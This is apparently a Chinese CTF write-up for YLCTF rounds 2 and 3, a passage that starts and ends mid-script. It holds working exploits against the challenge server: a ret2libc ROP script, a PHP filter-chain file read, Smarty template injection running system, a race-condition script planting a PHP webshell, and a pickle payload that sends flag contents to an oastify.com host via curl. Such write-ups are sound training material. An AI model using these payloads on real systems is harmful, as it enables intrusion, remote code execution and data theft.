)[1 ].item()def main (): try : p = remote("challenge.yuanloo.com" , 30991 ) model = load_model('model.pth' ) predictions = [] for i in range (36 ): try : data = p.recvuntil(f"input num {i + 1 } \n" .encode(), timeout=3 ) binary_data = re.findall(r"[01]+" , data.decode()) if not binary_data: print (f"No binary data found in round {i + 1 } . Exiting..." ) break image = preprocess_image(binary_data[0 ].strip()) predicted = predict_digit(model, image) predictions.append(predicted) p.sendline(str (predicted).encode()) print (f"Round {i + 1 } : Predicted digit: {predicted} " ) except EOFError: print (f"Connection closed unexpectedly in round {i + 1 } " ) break except Exception as e: print (f"Error in round {i + 1 } : {str (e)} " ) break final_data = p.recvall(timeout=5 ) print ("Final server response:" , final_data.decode()) predicted_string = '' .join(map (str , predictions)) print ("All predicted digits as a string:" , predicted_string) except Exception as e: print (f"An error occurred: {str (e)} " ) finally : if 'p' in locals (): p.close()if __name__ == "__main__" : main()
[Round 2] Trace 图片用010打开发现后面一大段有base64编码,去赛博转换一下得到一个rar文件,PassFabforRAR解密一下,得到密码370950解密得到里面的图片
仔细在记事本上研究了一会拼出了flag
1 YLCTF{ccfe9e2c-391f-4055-a128-c06b65426c83}
Pwn [Round 2] ezstack2 有nx保护
ida看,stack里有栈溢出,vuln里有判断执行system(“sh”)。
通过read栈溢出触发puts函数的调用,并通过GOT地址泄露libc的地址.
使用ROPgadget获取pop_rdi和ret地址,通过read栈溢出触发puts函数的调用,并通过GOT地址泄露libc地址,最后泄露libc地址和执行system
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 from pwn import *from LibcSearcher import * p = remote('challenge.yuanloo.com' , 25160 ) elf = ELF('./pwn' ) rdi = 0x400823 main = 0x40070A puts_plt = elf.plt['puts' ] puts_got = elf.got['puts' ] payload1 = b'a' * (0x30 + 8 ) + p64(rdi) + p64(puts_got) + p64(puts_plt) + p64(main) p.sendline(payload1) puts_addr = u64(p.recvuntil(b'\x7f' )[-6 :].ljust(8 , b'\x00' )) libc = LibcSearcher('puts' , puts_addr) libcbase = puts_addr - libc.dump('puts' ) sys = libcbase + libc.dump('system' ) binsh = libcbase + libc.dump('str_bin_sh' ) payload2 = b'a' * (0x30 + 8 ) + p64(0x40056e ) + p64(rdi) + p64(binsh) + p64(sys) p.sendline(payload2) p.interactive()
Re [Round 2] 三点几啦饮茶先 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 def decipher (v, k ): v0, v1 = v sum = (289739961 * 40 ) & 0xffffffff delta = 289739961 for i in range (40 ): v1 -= (((v0 >> 5 ) ^ (16 * v0)) + v0) ^ (k[(sum >> 11 ) & 3 ] + sum ) v1 &= 0xffffffff sum -= delta sum &= 0xffffffff v0 -= (((v1 >> 3 ) ^ (4 * v1)) + v1) ^ (k[sum & 3 ] + sum ) v0 &= 0xffffffff return [v0, v1] target_v0 = 1913208188 target_v1 = -1240730499 & 0xffffffff key = [4097 , 8194 , 12291 , 16388 ] decrypted = decipher([target_v0, target_v1], key)print (f"解密结果: {decrypted} " )print (f"输入的两个标签应该是: {decrypted[0 ]} 和 {decrypted[1 ]} " )
[Round 2] ezwasm
外部改成大写即可
Web [Round 2] Cmnts 1 Z2V0X3RoMXNfZjFhZy5waHA= #get_th1s_ f1ag.php
1 ?key=a7a795a8efb7c30151031c2cb700ddd9
变量覆盖
[Round 2] Pseudo(复现) 可以看到给的附件里面的下载的php文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 <?php error_reporting (0 );if (isset ($_GET ['file' ])) { $data = file_get_contents ($_GET ['file' ]); $file = tmpfile (); fwrite ($file , $data ); fflush ($file ); $type = mime_content_type (stream_get_meta_data ($file )['uri' ]); fclose ($file ); if (!in_array ($type ,['image/jpg' ,'image/jpeg' , 'image/png' , 'image/gif' ])) { echo "error!!!" ; exit ; }else { header ('Content-Description: File Transfer' ); header ('Content-Type: application/octet-stream' ); header ('Content-Disposition: attachment; filename="download.jpg"' ); header ('Expires: 0' ); header ('Cache-Control: must-revalidate' ); header ('Pragma: public' ); echo ($data ); exit ; } }
可以利用这里的函数漏洞得到flag,关键点是需要绕过mime_content_type
函数,可以利用filterchain进行绕过得到flag
下面是脚本,或者用GitHub上面的脚本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 <?php $base64_payload = "R0lGODlB" ; $conversions = array ( '/' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4' , '0' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2' , '1' => 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4' , '2' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921' , '3' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE' , '4' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2' , '5' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.GBK.UTF-8|convert.iconv.IEC_P27-1.UCS-4LE' , '6' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2' , '7' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2' , '8' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2' , '9' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB' , 'A' => 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213' , 'B' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2' , 'C' => 'convert.iconv.UTF8.CSISO2022KR' , 'D' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2' , 'E' => 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT' , 'F' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB' , 'G' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90' , 'H' => 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213' , 'I' => 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213' , 'J' => 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4' , 'K' => 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE' , 'L' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC' , 'M' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T' , 'N' => 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4' , 'O' => 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775' , 'P' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB' , 'Q' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2' , 'R' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4' , 'S' => 'convert.iconv.UTF-8.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS' , 'T' => 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103' , 'U' => 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932' , 'V' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB' , 'W' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936' , 'X' => 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932' , 'Y' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361' , 'Z' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16' , 'a' => 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE' , 'b' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE' , 'c' => 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2' , 'd' => 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2' , 'e' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937' , 'f' => 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213' , 'g' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8' , 'h' => 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE' , 'i' => 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000' , 'j' => 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16' , 'k' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2' , 'l' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE' , 'm' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949' , 'n' => 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61' , 'o' => 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE' , 'p' => 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4' , 'q' => 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2' , 'r' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101' , 's' => 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90' , 't' => 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS' , 'u' => 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61' , 'v' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO_6937-2:1983.R9|convert.iconv.OSF00010005.IBM-932' , 'w' => 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE' , 'x' => 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS' , 'y' => 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT' , 'z' => 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937' , );$filters = "convert.base64-encode|" ;$filters .= "convert.iconv.UTF8.UTF7|" ;foreach (str_split (strrev ($base64_payload )) as $c ) { $filters .= $conversions [$c ] . "|" ; $filters .= "convert.base64-decode|" ; $filters .= "convert.base64-encode|" ; $filters .= "convert.iconv.UTF8.UTF7|" ; }$filters .= "convert.base64-decode" ;$final_payload = "php://filter/{$filters} /resource=/flag" ;echo $final_payload ;
[Round 2] PHUPE(复现) 这题写的时候的思路就是尝试文件上传进行smarty的模板注入,但是没有成功。
0x01 TPL是Smarty模板引擎使用的模板文件格式,它允许将PHP逻辑代码与HTML展示代码分离,使用特殊的标签语法 {标签} 来实现动态内容。
smarty 可以使用 math + 8进制进行绕过
1 2 3 4 5 6 7 8 9 10 {extends file='views/layout.tpl'} {block name=content} <h1>CTF File Reader</h1> <form method="post" enctype="multipart/form-data"> <input type="file" name="file"> <button type="submit">Upload</button> </form> <pre>{$file_content}</pre> {math equation="(\"\\163\\171\\163\\164\\145\\155\")(\"\\143\\141\\164\\40\\57\\146\\154\\141\\147\")"} {/block}
跟着复现没有成功,感觉可能中间跳步骤了。时隔一周回来填坑,确实是自己的问题,没有好好研究给的附件,需要在对应的文件上进行文件的覆盖
然后就有flag了
0x02 从0CTF一道题看move_uploaded_file的一个细节问题 ,参考链接
[Round 2] RedFox(复现) 先注册一个账号进行登陆
有一个上传评论的地方,发现可以有ssrf的漏洞(当时其实想到这层了,没注意回显包)
然后测试一下/flag有无发现没有,
/uploads/profile_0f1726ba83325848d47e216b29d5ab99.jpg,后面我也没找到本地文件,先到这吧。,继续来填坑。
不能直接读到flag,尝试读index.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 <?php session_start ();require_once 'config.php' ;require_once 'Database.php' ;require_once 'User.php' ;require_once 'Post.php' ;require_once 'Message.php' ;$db = new Database ();$user = new User ($db );$post = new Post ($db );$message = new Message ($db );$error = '' ;$success = '' ;if ($_SERVER ['REQUEST_METHOD' ] === 'POST' ) { if (isset ($_POST ['action' ])) { switch ($_POST ['action' ]) { case 'register' : if (isset ($_POST ['username' ]) && isset ($_POST ['password' ]) && isset ($_POST ['email' ])) { if ($user ->register ($_POST ['username' ], $_POST ['password' ], $_POST ['email' ])) { $success = "Registration successful. Please log in." ; } else { $error = "Registration failed. Please try again." ; } } break ; case 'login' : if (isset ($_POST ['username' ]) && isset ($_POST ['password' ])) { if ($user ->login ($_POST ['username' ], $_POST ['password' ])) { $success = "Login successful." ; } else { $error = "Invalid username or password." ; } } break ; case 'create_post' : if (isset ($_SESSION ['user_id' ]) && isset ($_POST ['content' ])) { $imageUrl = isset ($_POST ['image_url' ]) ? $_POST ['image_url' ] : null ; if ($post ->create ($_SESSION ['user_id' ], $_POST ['content' ], $imageUrl )) { $success = "Post created successfully." ; } else { $error = "Failed to create post." ; } } break ; case 'send_message' : if (isset ($_SESSION ['user_id' ]) && isset ($_POST ['to_user_id' ]) && isset ($_POST ['content' ])) { if ($message ->send ($_SESSION ['user_id' ], $_POST ['to_user_id' ], $_POST ['content' ])) { $success = "Message sent successfully." ; } else { $error = "Failed to send message." ; } } break ; case 'download_message' : if (isset ($_SESSION ['user_id' ]) && isset ($_POST ['data' ])) { if ($user ->test ($_SESSION ['user_id' ], $_POST ['data' ])) { $success = "successfully." ; } else { $error = "fail." ; } } break ; } } }$feed = $post ->getFeed ();?>
这是Database.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 <?php class Database { private $conn ; public function __construct ( ) { $this ->conn = new mysqli (DB_HOST, DB_USER, DB_PASS, DB_NAME); if ($this ->conn->connect_error) { die ("Connection failed: " . $this ->conn->connect_error); } } public function query ($sql , $params = [] ) { $stmt = $this ->conn->prepare ($sql ); if ($stmt === false ) { return false ; } if (!empty ($params )) { $types = str_repeat ('s' , count ($params )); $stmt ->bind_param ($types , ...$params ); } $stmt ->execute (); if (stripos ($sql , 'select' ) !== false ) { return $stmt ->get_result (); } else { return $stmt ->affected_rows; } } public function escape ($value ) { return $this ->conn->real_escape_string ($value ); } }
这是User.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 <?php class User { private $db ; public function __construct ($db ) { $this ->db = $db ; } public function register ($username , $password , $email ) { $hashedPassword = password_hash ($password , PASSWORD_DEFAULT); $sql = "INSERT INTO users (username, password, email) VALUES (?, ?, ?)" ; return $this ->db->query ($sql , [$username , $hashedPassword , $email ]); } public function login ($username , $password ) { $sql = "SELECT * FROM users WHERE username = ?" ; $result = $this ->db->query ($sql , [$username ]); if ($result ->num_rows == 1 ) { $user = $result ->fetch_assoc (); if (password_verify ($password , $user ['password' ])) { $_SESSION ['user_id' ] = $user ['id' ]; $_SESSION ['username' ] = $user ['username' ]; return true ; } } return false ; } public function test ($id ,$data ) { if (count (array_unique (str_split ($data ))) <= 7 && !preg_match ('/[a-z0-9]/i' , $data )){ eval ($data ); } } }
post.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 <?php class Post { private $db ; public function __construct ($db ) { $this ->db = $db ; } public function create ($userId , $content , $imageUrl = null ) { $sql = "INSERT INTO posts (user_id, content, image_url) VALUES (?, ?, ?)" ; $image = $this ->uploadImage ($userId ,$imageUrl ); return $this ->db->query ($sql , [$userId , $content , $image ]); } public function getFeed ($page = 1 , $limit = 10 ) { $offset = ($page - 1 ) * $limit ; $sql = "SELECT p.*, u.username FROM posts p JOIN users u ON p.user_id = u.id ORDER BY p.created_at DESC LIMIT ?, ?" ; return $this ->db->query ($sql , [$offset , $limit ]); } public function uploadImage ($userId , $imageUrl ) { $filename = "" ; $curl = curl_init (); curl_setopt ($curl , CURLOPT_URL, $imageUrl ); curl_setopt ($curl , CURLOPT_RETURNTRANSFER, true ); $imageContent = curl_exec ($curl ); curl_close ($curl ); if (preg_match ('/http|gopher|dict/i' ,$imageUrl ) && preg_match ('/php|<\?|script/i' ,$imageContent )){ return false ; } if ($imageContent !== false && strlen ($imageContent )>50 ) { $filename = 'profile_' . md5 ($imageUrl ) . '.jpg' ; file_put_contents ('./uploads/' . $filename , $imageContent ); }else { return false ; } return "./uploads/" . $filename ; } }
Message.php
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 <?php class Message { private $db ; public function __construct ($db ) { $this ->db = $db ; } public function send ($fromUserId , $toUserId , $content ) { $sql = "INSERT INTO messages (from_user_id, to_user_id, content) VALUES (?, ?, ?)" ; return $this ->db->query ($sql , [$fromUserId , $toUserId , $content ]); } public function getConversation ($user1Id , $user2Id , $page = 1 , $limit = 20 ) { $offset = ($page - 1 ) * $limit ; $sql = "SELECT * FROM messages WHERE (from_user_id = ? AND to_user_id = ?) OR (from_user_id = ? AND to_user_id = ?) ORDER BY created_at DESC LIMIT ?, ?" ; return $this ->db->query ($sql , [$user1Id , $user2Id , $user2Id , $user1Id , $offset , $limit ]); } }?>
打包分析一下发现存储在一个文件夹跟进,发现有漏洞的地方是在post.php里,但是已经利用过了
在index.php里有
1 2 3 4 5 public function test ($id ,$data ) { if (count (array_unique (str_split ($data ))) <= 7 && !preg_match ('/[a-z0-9]/i' , $data )){ eval ($data ); } }
可以打一个条件竞争进去
1 file:///etc/php/7.0/apache2/php.ini
然后上exp吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 import ioimport sysimport requestsimport threading sessid = 'orange' def WRITE (session ): while True : f = io.BytesIO(b'a' * 1024 * 50 ) session.post( 'http://challenge.yuanloo.com:27814/index.php' , data={ "PHP_SESSION_UPLOAD_PROGRESS" : "1\necho '<?php eval($_POST[a]);'>/var/www/html/uploads/shell.php\n" }, files={"file" : ('wi.txt' , f)}, cookies={'PHPSESSID' : sessid} )def READ (session ): while True : request = requests.session() data = { 'action' : 'login' , 'username' : '123' , 'password' : '123' } request.post("http://challenge.yuanloo.com:27814/" , data=data) data = { 'action' : 'download_message' , 'data' : '`. /???/???/???/???/??????????????`;' } request.post("http://challenge.yuanloo.com:27814/" , data=data) if requests.get("http://challenge.yuanloo.com:27814/uploads/shell.php" ).status_code != 404 : print ('Success!' ) exit(0 )with requests.session() as session: t1 = threading.Thread(target=WRITE, args=(session,)) t1.daemon = True t1.start() READ(session)
[Round 2] SNEKLY(复现) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 from flask import Flask, render_template, request, jsonifyfrom flask_login import LoginManager, UserMixinimport sqlite3import base64import pickleimport os app = Flask(__name__) app.config['SECRET_KEY' ] = '060ac533d307' app.static_folder = 'static' login_manager = LoginManager() login_manager.init_app(app) login_manager.login_view = 'login' user = {} current_dir = os.path.dirname(os.path.abspath(__file__)) db_path = os.path.join(current_dir, 'data.db' )class User (UserMixin ): def __init__ (self, id , username, password_hash, data ): self.id = id self.username = username self.password_hash = password_hash self.data = data@login_manager.user_loader def load_user (user_id ): conn = sqlite3.connect(db_path) cursor = conn.cursor() cursor.execute("SELECT * FROM users WHERE id = ?" , (user_id,)) user_data = cursor.fetchone() conn.close() if user_data: return User(id =user_data[0 ], username=user_data[1 ], password_hash=user_data[2 ], data=user_data[3 ]) return None @app.route('/' ) def index (): return render_template("login.html" )@app.route('/login' , methods=['POST' ] ) def login (): global user if request.method == "POST" : username = request.form.get('username' ) password = request.form.get('password' ) if not username or not password: return jsonify({"code" : 1 , "msg" : "用户名或密码不能为空" }) try : con = sqlite3.connect(db_path) cur = con.cursor() output = cur.execute( 'SELECT * FROM users WHERE username = {post[username]!r} AND password = {post[password]!r}' .format (post=request.form) ).fetchone() if output is None : return jsonify({"code" : 1 , "msg" : "用户名或密码错误" }) user['id' ], user['username' ], user['password' ], user['data' ] = output if (user['username' ] == username) and (user['password' ] == password): return jsonify({"code" : 0 , "msg" : "登录成功" }) else : user = {} return jsonify({"code" : 1 , "msg" : "用户名或密码错误" }) except sqlite3.Error as e: print (f"数据库错误: {e} " ) return jsonify({"code" : 1 , "msg" : "服务器错误,请稍后重试" }) return jsonify({"code" : 1 , "msg" : "无效的请求方法" })@app.route('/unSer' ) def unSer (): try : data = base64.b64decode(user['data' ]) if any (keyword in data for keyword in [b'getattr' , b'R' , b'map' , b'eval' , b'exec' , b'import' ]): raise pickle.UnpicklingError("unSer" ) pickle.loads(data) except Exception as e: pass return "unSer" if __name__ == "__main__" : app.run(host='0.0.0.0' )
看到有pickle的模块大抵应该是考察python的反序列化,定位一下关键代码
1 2 3 4 5 6 7 8 9 def unSer (): try : data = base64.b64decode(user['data' ]) if any (keyword in data for keyword in [b'getattr' , b'R' , b'map' , b'eval' , b'exec' , b'import' ]): raise pickle.UnpicklingError("unSer" ) pickle.loads(data) except Exception as e: pass return "unSer"
使用bp打一个dnslog
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 import base64import requestsdef quine (data ): data = data.replace('$$' , "REPLACE(REPLACE(REPLACE($$,CHAR(39),CHAR(34)),CHAR(36),$$), CHAR(92), CHAR())" ) data1 = data.replace("'" , '"' ).replace('$$' , "'$'" ) data = data.replace('$$' , f'"{data1} "' ) return datadef exp (): username = "test\"'" opcode = b'''c__builtin__ filter p0 0(S'curl http://`cat /f*`.urpybxuysw5jjp2ie3koqo4ia9g14rsg.oastify.com' tp1 0(cos system g1 tp2 0g0 g2 \x81p3 0c__builtin__ tuple p4 (g3 t\x81.''' a = base64.b64encode(opcode).decode() res = '' for i in a: if ord (i) > 58 or ord (i) < 47 : res += "||CHAR(" + str (ord (i)) + ")" else : res += "||" + i res = res[2 :] password = f" UNION SELECT $$, CHAR({',' .join(str (ord (c)) for c in username)} ), $$,({res} );-- -" password = quine(password) requests.post(url="http://challenge.yuanloo.com:29180/login" , data={ "username" : username, "password" : password }) requests.get(url="http://challenge.yuanloo.com:29180/unSer" )if __name__ == "__main__" : exp()
学学opcode吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 开头的 c__builtin__ : c 表示这个数据结构是一个类的调用。__builtin__ 是 Python 内置模块,意味着后续会调用该模块中的函数。 filter 是内置函数,用于过滤序列。它将在后续的调用中被使用。 p0 表示将后续的对象(0表示第一个对象)保存到位置 0。 0(S'curl http://... 是一个字符串对象,表示要执行的命令。 这里的命令使用反引号执行 cat /f*,并将输出发送到指定的 URL。 tp1 是另一个指令,用于标记后续的数据结构类型。 0(cos 说明后续数据是与 cos 相关 system 是 os 模块中的一个函数,用于执行系统命令。 g1 用于获取在之前定义的对象,可能是一个函数的引用。 tp2 标记下一个数据结构的类型。 0g0 指获取第一个对象(即命令字符串)。 g2 表示下一个对象的获取。 \x81 是一个转义字符,用于处理特定的内部格式。 p3 表示将此对象保存到位置 3。 0c__builtin__ 和 tuple: 这段是为了创建一个元组,包含前面定义的对象。 最终的结构是一个包含 system 函数和命令的元组。 p4 将这个元组保存在位置 4。 (g3 是标记获取之前保存的对象(即要执行的命令)。
Round 3 crypto [Round 3] ezlcg 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 from pwn import *import refrom Crypto.Util.number import inverse p = remote("challenge.yuanloo.com" , 22178 )for _ in range (27 ): p.recvline()def solve_lcg_parameters (states, N ): """求解LCG的参数a和b""" diffs = [] for i in range (len (states) - 1 ): diffs.append((states[i + 1 ] - states[i]) % N) a_candidates = [] for i in range (len (diffs) - 1 ): if diffs[i + 1 ] != 0 : try : a = (diffs[i + 1 ] * inverse(diffs[i], N)) % N a_candidates.append(a) except : continue if len (a_candidates) > 0 : a = max (set (a_candidates), key=a_candidates.count) b = (states[1 ] - a * states[0 ]) % N return a, b return None , None def find_seed (N, num1, num2, num3 ): """从三个连续状态值找到初始种子""" states = [num1, num2, num3] a, b = solve_lcg_parameters(states, N) if not a or not b: return None , None , None seed = ((num1 - b) * inverse(a, N)) % N state = seed verified = True for expected in [num1, num2, num3]: state = (state * a + b) % N if state != expected: verified = False break return seed, a, b if verified else (None , None , None )for _ in range (50 ): data = p.recvuntil("seed =" .encode()).decode() a_match = re.search(r'a=(\d+)' , data) b_match = re.search(r'b=(\d+)' , data) N_match = re.search(r'N=(\d+)' , data) num1_match = re.search(r'num1=(\d+)' , data) if a_match and b_match and N_match and num1_match: a = int (a_match.group(1 )) b = int (b_match.group(1 )) N = int (N_match.group(1 )) num1 = int (num1_match.group(1 )) def find_seed_a_b (a, b, N, num1 ): left_side = (num1 - b) % N a_inv = inverse(a, N) seed = (left_side * a_inv) % N return seed seed = find_seed_a_b(a, b, N, num1) p.sendline(str (seed)) response = p.recvuntil("success!" .encode()) print (response.decode()) response = p.recvuntil("Challenge two,30 Round" .encode())if "Challenge two,30 Round" in response.decode(): for _ in range (30 ): data = p.recvuntil("seed =" .encode()).decode() a_match = re.search(r'a=(\d+)' , data) N_match = re.search(r'N=(\d+)' , data) num1_match = re.search(r'num1=(\d+)' , data) num2_match = re.search(r'num2=(\d+)' , data) if a_match and N_match and num1_match and num2_match: a = int (a_match.group(1 )) N = int (N_match.group(1 )) num1 = int (num1_match.group(1 )) num2 = int (num2_match.group(1 )) def lcg_seed (num1, num2, a, N ): b = (num2 - (a * num1) % N + N) % N seed = (num1 - b) * 